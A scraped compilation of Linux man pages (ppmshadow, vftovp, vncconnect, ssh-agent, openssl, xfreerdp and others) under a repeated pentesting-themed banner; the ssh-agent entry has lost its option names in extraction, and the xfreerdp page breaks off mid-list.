Because Netpbm used to have a maximum maxval of 255, which meant that the largest convolution kernel pnmconvol could use was 11 by 11, ppmshadow includes a horrid, CPU-time-burning kludge which, if a blur of greater than 11 is requested, performs an initial convolution with an 11 x 11 kernel, then calls pnmsmooth (which is itself a program that calls pnmconvol with a 3 x 3 kernel) as many times as the requested blur exceeds 11. It’s ugly, but it gets the job done on those rare occasions where you need a blur greater than 11.

If you wish to generate an image at high resolution, then scale it to publication size with pamscale in order to eliminate jagged edges by resampling, it’s best to generate the shadow in the original high resolution image, prior to scaling it down in size. If you scale first and then add the shadow, you’ll get an unsightly jagged stripe between the edge of material and its shadow, due to resampled pixels intermediate between the image and background obscuring the shadow.

EXIT STATUS

ppmshadow returns status 0 if processing was completed without errors, and a nonzero Unix error code if an error prevented generation of output. Some errors may result in the script aborting, usually displaying error messages from various Netpbm components it uses, without returning a nonzero error code. When this happens, the output file will be empty, so be sure to test this if you need to know if the program succeeded.

TEMPORARY FILES

ppmshadow creates a number of temporary files as it executes. It creates a new directory for them in the directory named by the TMPDIR environment variable, defaulting to /tmp if it is not set.

In normal operation, ppmshadow finds a unique name for the temporary directory and deletes each temporary file as soon as it is done with it and leaves no debris around after it completes. To preserve the intermediate files for debugging, use the -k command line option. In that case, the directory name is ppmshadowpid, where pid is the process ID of the ppmshadow process, and the program fails if ppmshadow cannot create that directory because the name is already in use.

The temporary files are:

infile.ppm
A copy of the input.

background.ppm
Blank image with background of source image

bgmask.ppm
Positive binary mask

convkernel.ppm
Convolution kernel for blurring shadow

blurredlackshad.ppm
Blurred shadow image before coloring

blurred.ppm
Blurred, colored shadow image

shadow.ppm
Clipped shadow image, offset as requested

shadback.ppm
Generated shadow times positive mask

SEE ALSO

pnm(1) , pnmmargin(1) , pnmconvol(1) , pamscale(1) , pnmsmooth(1) , ppm(1)

AUTHOR

John Walker http://www.fourmilab.ch August 8, 1997

COPYRIGHT

This software is in the public domain. Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, without any conditions or restrictions.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmshadow.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1418 - Linux cli command vftovp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vftovp and provides detailed information about the command vftovp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vftovp.

NAME 🖥️ vftovp 🖥️

convert virtual font (vf) files to virtual property lists (vpl)

SYNOPSIS

vftovp [OPTIONS] vf_name[.vf] [tfm_name[.tfm] [vpl_name[.vpl]]]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The vftovp program translates a (program-oriented) virtual font file and its accompanying TeX font metric file to a (human-oriented) property list file. Thus, the virtual font can be edited, and its exact contents can be displayed mnemonically. It also serves as a VF-file validating program; if no error messages are given, the input files are correct.

The filenames are extended with the appropriate extension if necessary.

OPTIONS

**-charcode-format=**format
The argument format specifies how character codes are output in the VPL file. By default, only letters and digits are output using the C integer code (i.e., in ASCII); the others are output in octal. (Unless the font’s coding scheme starts with TeX math sy or TeX math ex, when all are output in octal.) If format is ascii, all character codes that correspond to graphic characters, besides the left and right parentheses, are output in ASCII. On the other hand, if format is octal, all character codes are output in octal.

-verbose
Without this option, vftovp operates silently. With it, a banner and progress report are printed on stdout.

ENVIRONMENT

vftovp looks for vf_name using the environment variable VFFONTS. If that is not set, it uses the variable TEXFONTS. If that is not set, it uses the system default.

See tex(1) for the details of the searching.

SEE ALSO

pltotf(1), tftopl(1), vptovf(1).

AUTHORS

Donald E. Knuth wrote the program, based in part on an idea of David Fuchs, starting with the code for tftopl(1). Karl Berry adapted it for compilation with web2c.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1419 - Linux cli command vncconnect

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vncconnect and provides detailed information about the command vncconnect, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vncconnect.

NAME 🖥️ vncconnect 🖥️

connect a VNC server to a VNC viewer

SYNOPSIS

vncconnect [-display Xvnc-display] host[:port]

DESCRIPTION

Tells Xvnc(1) to connect to a listening VNC viewer on the given host and port.

SEE ALSO

vncviewer(1), vncserver(1), Xvnc(1), vncpasswd(1)

AUTHORS

Original VNC was developed in AT&T Laboratories Cambridge. TightVNC additions were implemented by Constantin Kaplinsky. Many other people participated in development, testing and support.

Man page authors:
Tim Waugh <[email protected]>,
Constantin Kaplinsky <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1420 - Linux cli command mosquitto_ctrl_dynsec

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mosquitto_ctrl_dynsec and provides detailed information about the command mosquitto_ctrl_dynsec, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mosquitto_ctrl_dynsec.

NAME 🖥️ mosquitto_ctrl_dynsec 🖥️

mosquitto_ctrl module for controlling the Mosquitto Dynamic Security plugin.

SYNOPSIS

mosquitto_ctrl [connection-options] dynsec dynsec-command [command-options]

DESCRIPTION

This page describes the dynsec module for mosquitto_ctrl(1). See the mosquitto_ctrl man page for details of the options for connecting to remote brokers, in particular since this module works with authentication and access control, it is crucial that secure encrypted connections are used.

COMMANDS

Configuration file initialisation

·

mosquitto_ctrl dynsec init config-filename admin-user [admin-password]

BUGS

mosquitto bug information can be found at https://github.com/eclipse/mosquitto/issues

SEE ALSO

mqtt(7), mosquitto_rr(1), mosquitto_pub(1), mosquitto_sub(1), mosquitto(8), libmosquitto(3), mosquitto-tls(7)

AUTHOR

Roger Light <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1421 - Linux cli command ssh-agent

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ssh-agent and provides detailed information about the command ssh-agent, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ssh-agent.

is a program to hold private keys used for public key authentication. Through use of environment variables the agent can be located and automatically used for authentication when logging in to other machines using

The options are as follows:

Bind the agent to the

socket

The default is

Generate C-shell commands on

This is the default if

looks like it’s a csh style of shell.

Foreground mode. When this option is specified,

will not fork.

Debug mode. When this option is specified,

will not fork and will write debug information to standard error.

Specifies the hash algorithm used when displaying key fingerprints. Valid options are:

and

The default is

Kill the current agent (given by the

environment variable).

Specify an option when starting

Currently two options are supported:

and

The

option allows clients of a forwarded

to load PKCS#11 or FIDO provider libraries. By default only local clients may perform this operation. Note that signalling that an

client is remote is performed by

and use of other tools to forward access to the agent socket may circumvent this restriction.

The

option instructs

to permit signatures using FIDO keys that might be web authentication requests. By default,

refuses signature requests for FIDO keys where the key application string does not start with

and when the data to be signed does not appear to be a

user authentication request or a

signature. The default behaviour prevents forwarded access to a FIDO key from also implicitly forwarding the ability to authenticate to websites.

Specify a pattern-list of acceptable paths for PKCS#11 provider and FIDO authenticator middleware shared libraries that may be used with the

or

options to

Libraries that do not match the pattern list will be refused. See PATTERNS in

for a description of pattern-list syntax. The default list is

Generate Bourne shell commands on

This is the default if

does not look like it’s a csh style of shell.

Set a default value for the maximum lifetime of identities added to the agent. The lifetime may be specified in seconds or in a time format specified in

A lifetime specified for an identity with

overrides this value. Without this option the default maximum lifetime is forever.

If a command (and optional arguments) is given, this is executed as a subprocess of the agent. The agent exits automatically when the command given on the command line terminates.

There are two main ways to get an agent set up. The first is at the start of an X session, where all other windows or programs are started as children of the

program. The agent starts a command under which its environment variables are exported, for example

When the command terminates, so does the agent.

The second method is used for a login session. When

is started, it prints the shell commands required to set its environment variables, which in turn can be evaluated in the calling shell, for example

In both cases,

looks at these environment variables and uses them to establish a connection to the agent.

The agent initially does not have any private keys. Keys are added using

or by

when

is set in

Multiple identities may be stored in

concurrently and

will automatically use them if present.

is also used to remove keys from

and to query the keys that are held in one.

Connections to

may be forwarded from further remote hosts using the

option to

(but see the caveats documented therein), avoiding the need for authentication data to be stored on other machines. Authentication passphrases and private keys never go over the network: the connection to the agent is forwarded over SSH remote connections and the result is returned to the requester, allowing the user access to their identities anywhere in the network in a secure fashion.

When

starts, it stores the name of the agent’s process ID (PID) in this variable.

When

starts, it creates a

socket and stores its pathname in this variable. It is accessible only to the current user, but is easily abused by root or another instance of the same user.

In Debian,

is installed with the set-group-id bit set, to prevent

attacks retrieving private key material. This has the side-effect of causing the run-time linker to remove certain environment variables which might have security implications for set-id programs, including

and

If you need to set any of these environment variables, you will need to do so in the program executed by ssh-agent.

sockets used to contain the connection to the authentication agent. These sockets should only be readable by the owner. The sockets should get automatically removed when the agent exits.

OpenSSH is a derivative of the original and free ssh 1.2.12 release by

and

removed many bugs, re-added newer features and created OpenSSH.

contributed the support for SSH protocol versions 1.5 and 2.0.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1422 - Linux cli command nfc-scan-device

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nfc-scan-device and provides detailed information about the command nfc-scan-device, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nfc-scan-device.

NAME 🖥️ nfc-scan-device 🖥️

scan-device - Scan NFC devices

SYNOPSIS

nfc-scan-device [ options ]

DESCRIPTION

nfc-scan-device is a utility for listing any available device compliant with libnfc. It can optionnally display device’s capabilities.

OPTIONS

-v
Tells nfc-scan-device to be verbose and display detailed information about the devices found.

-i
Tells nfc-scan-device to allow intrusive scan (eg. serial ports scan). This is equivalent to set environment variable LIBNFC_INTRUSIVE_SCAN to “yes”.

EXAMPLE

For a SCL3711 device (in verbose mode):

- SCM Micro / SCL3711-NFC&RW: pn53x_usb:002:017 chip: PN533 v2.7 initator mode modulations: ISO/IEC 14443A (106 kbps), FeliCa (424 kbps, 212 kbps), ISO/IEC 14443-4B (847 kbps, 424 kbps, 212 kbps, 106 kbps), Innovision Jewel (106 kbps), D.E.P. (424 kbps, 212 kbps, 106 kbps) target mode modulations: ISO/IEC 14443A (106 kbps), FeliCa (424 kbps, 212 kbps), D.E.P. (424 kbps, 212 kbps, 106 kbps)

BUGS

Please report any bugs on the libnfc issue tracker at:
https://github.com/nfc-tools/libnfc/issues

LICENCE

libnfc is licensed under the GNU Lesser General Public License (LGPL), version 3.
libnfc-utils and libnfc-examples are covered by the the BSD 2-Clause license.

AUTHORS

Roel Verdult <[email protected]>,
Romain Tartière <[email protected]>,
Romuald Conty <[email protected]>.

This manual page was written by Romuald Conty <[email protected]>. It is licensed under the terms of the GNU GPL (version 2 or later).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1423 - Linux cli command s_clientssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command s_clientssl and provides detailed information about the command s_clientssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the s_clientssl.

NAME 🖥️ s_clientssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1424 - Linux cli command kismetdb_statistics

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kismetdb_statistics and provides detailed information about the command kismetdb_statistics, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kismetdb_statistics.

NAME 🖥️ kismetdb_statistics 🖥️

statistics about a kismetdb file

SYNOPSIS

kismetdb_statistics [OPTION]

OPTIONS

-i, –in [filename]
Input kismetdb file

-s, –skip-clean
Don’t clean (sql vacuum) input database

-j, –json
Dump stats as a JSON dictionary

SEE ALSO

The full documentation for Kismet is maintained in a separate package kismet-docs. More information here: https://www.kismetwireless.net/docs

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1425 - Linux cli command pbmtomgr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtomgr and provides detailed information about the command pbmtomgr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtomgr.

.

NAME 🖥️ pbmtomgr 🖥️

convert a PBM image into a MGR bitmap

SYNOPSIS

pbmtomgr

[pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtomgr reads a PBM image as input and produces a MGR bitmap as output.

MGR(1) is a window manager that is a smaller alternative to the X Windows System.

OPTIONS

There are no command line options defined specifically for pbmtomgr, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

mgrtopbm(1) , pbm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtomgr.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1426 - Linux cli command xfreerdp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xfreerdp and provides detailed information about the command xfreerdp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xfreerdp.

NAME 🖥️ xfreerdp 🖥️

FreeRDP X11 client

SYNOPSIS

xfreerdp [file] [options] [/v:server[:port]]

DESCRIPTION

xfreerdp is an X11 Remote Desktop Protocol (RDP) client which is part of the FreeRDP project. An RDP server is built-in to many editions of Windows. Alternative servers included xrdp and VRDP (VirtualBox).

OPTIONS

/a:addin[,options], /addin:addin[,options]

Addin

/action-script:file-name

Action script (default:~/.config/freerdp/action.sh)

/admin, /console

Admin (or console) session

+aero

desktop composition (default:off)

/app:path or ||alias

Remote application program

/app-cmd:parameters

Remote application command-line parameters

/app-file:file-name

File to open with remote application

/app-guid:app-guid

Remote application GUID

/app-icon:icon-path

Remote application icon for user interface

/app-name:app-name

Remote application name for user interface

/app-workdir:workspace path

Remote application workspace path

/assistance:password

Remote assistance password

/auto-request-control:

Automatically request remote assistance input control

+async-channels

Asynchronous channels (experimental) (default:off)

+async-input

Asynchronous input (default:off)

+async-update

Asynchronous update (default:off)

/audio-mode:mode

Audio output mode

+auth-only

Authenticate only (default:off)

-authentication

Authentication (experimental) (default:on)

+auto-reconnect

Automatic reconnection (default:off)

/auto-reconnect-max-retries:retries

Automatic reconnection maximum retries, 0 for unlimited [0,1000]

+bitmap-cache

bitmap cache (default:off)

/bpp:depth

Session bpp (color depth) (default:16)

/buildconfig

Print the build configuration

/cert:[deny,ignore,name:name,tofu,fingerprint:hash:hash as hex[,fingerprint:hash:another hash]]

Certificate accept options. Use with care! * deny … Automatically abort connection if the certificate does not match, no user interaction. * ignore … Ignore the certificate checks altogether (overrules all other options) * name … Use the alternate <name> instead of the certificate subject to match locally stored certificates * tofu … Accept certificate unconditionally on first connect and deny on subsequent connections if the certificate does not match * fingerprints … A list of certificate hashes that are accepted unconditionally for a connection

/cert-deny

[deprecated, use /cert:deny] Automatically abort connection for any certificate that can not be validated.

/cert-ignore

[deprecated, use /cert:ignore] Ignore certificate

/cert-name:name

[deprecated, use /cert:name:<name>] Certificate name

/cert-tofu

[deprecated, use /cert:tofu] Automatically accept certificate on first connect

/client-build-number:number

Client Build Number sent to server (influences smartcard behaviour, see [MS-RDPESC])

/client-hostname:name

Client Hostname to send to server

/clipboard:[use-selection:atom]

Redirect clipboard. * use-selection:<atom> … (X11) Specify which X selection to access. Default is CLIPBOARD. PRIMARY is the X-style middle-click selection. (default:on)

/codec-cache:[rfx|nsc|jpeg]

Bitmap codec cache

-compression, -z

compression (default:on)

/compression-level:level

Compression level (0,1,2)

+credentials-delegation

credentials delegation (default:off)

/d:domain

Domain

-decorations

Window decorations (default:on)

/disp

Display control

/drive:name,path

Redirect directory <path> as named share <name>. Hotplug support is enabled with /drive:hotplug,*. This argument provides the same function as “Drives that I plug in later” option in MSTSC.

+drives

Redirect all mount points as shares (default:off)

/dvc:channel[,options]

Dynamic virtual channel

/dynamic-resolution

Send resolution updates when the window is resized

/echo, /echo

Echo channel

-encryption

Encryption (experimental) (default:on)

/encryption-methods:[40,][56,][128,][FIPS]

RDP standard security encryption methods

/f

Fullscreen mode (<Ctrl>+<Alt>+<Enter> toggles fullscreen)

-fast-path

fast-path input/output (default:on)

+fipsmode

FIPS mode (default:off)

/floatbar[:sticky:[on|off],default:[visible|hidden],show:[always|fullscreen||window]]

floatbar is disabled by default (when enabled defaults to sticky in fullscreen mode)

-fonts

smooth fonts (ClearType) (default:on)

/frame-ack:number

Number of frame acknowledgement

/from-stdin[:force]

Read credentials from stdin. With <force> the prompt is done before connection, otherwise on server request.

/g:gateway[:port]

Gateway Hostname

/gateway-usage-method:[direct|detect], /gum:[direct|detect]

Gateway usage method

/gd:domain

Gateway domain

/gdi:sw|hw

GDI rendering

/geometry

Geometry tracking channel

+gestures

Consume multitouch input locally (default:off)

/gfx[:RFX]

RDP8 graphics pipeline

+gfx-progressive

RDP8 graphics pipeline using progressive codec (default:off)

+gfx-small-cache

RDP8 graphics pipeline using small cache mode (default:off)

+gfx-thin-client

RDP8 graphics pipeline using thin client mode (default:off)

+glyph-cache

Glyph cache (experimental) (default:off)

/gp:password

Gateway password

-grab-keyboard

Grab keyboard (default:on)

-grab-mouse

Grab mouse (default:on)

/gt:[rpc|http[,no-websockets]|auto[,no-websockets]]

Gateway transport type

/gu:[[domain*user*|user[@domain]]

Gateway username

/gat:access token

Gateway Access Token

/h:height

Height (default:768)

-heartbeat

Support heartbeat PDUs (default:on)

/help, /?

Print help

+home-drive

Redirect user home as share (default:off)

/ipv6, /6

Prefer IPv6 AAA record over IPv4 A record

/kbd:0xid or name

Keyboard layout

/kbd-lang:0xid

Keyboard active language identifier

/kbd-fn-key:value

Function key value

/kbd-list

List keyboard layouts

/kbd-lang-list

List keyboard languages

/kbd-remap:List of key=value,… pairs to remap scancodes

Keyboard scancode remapping

/kbd-subtype:id

Keyboard subtype

/kbd-type:id

Keyboard type

/load-balance-info:info-string

Load balance info

/log-filters:tag:level[,tag:level[,…]]

Set logger filters, see wLog(7) for details

/log-level:[OFF|FATAL|ERROR|WARN|INFO|DEBUG|TRACE]

Set the default log level, see wLog(7) for details

/max-fast-path-size:size

Specify maximum fast-path update size

/max-loop-time:time

Specify maximum time in milliseconds spend treating packets

+menu-anims

menu animations (default:off)

/microphone[:[sys:sys,][dev:dev,][format:format,][rate:rate,][channel:channel]], /mic[:[sys:sys,][dev:dev,][format:format,][rate:rate,][channel:channel]]

Audio input (microphone)

/monitor-list

List detected monitors

/monitors:id[,id[,…]]

Select monitors to use

-mouse-motion

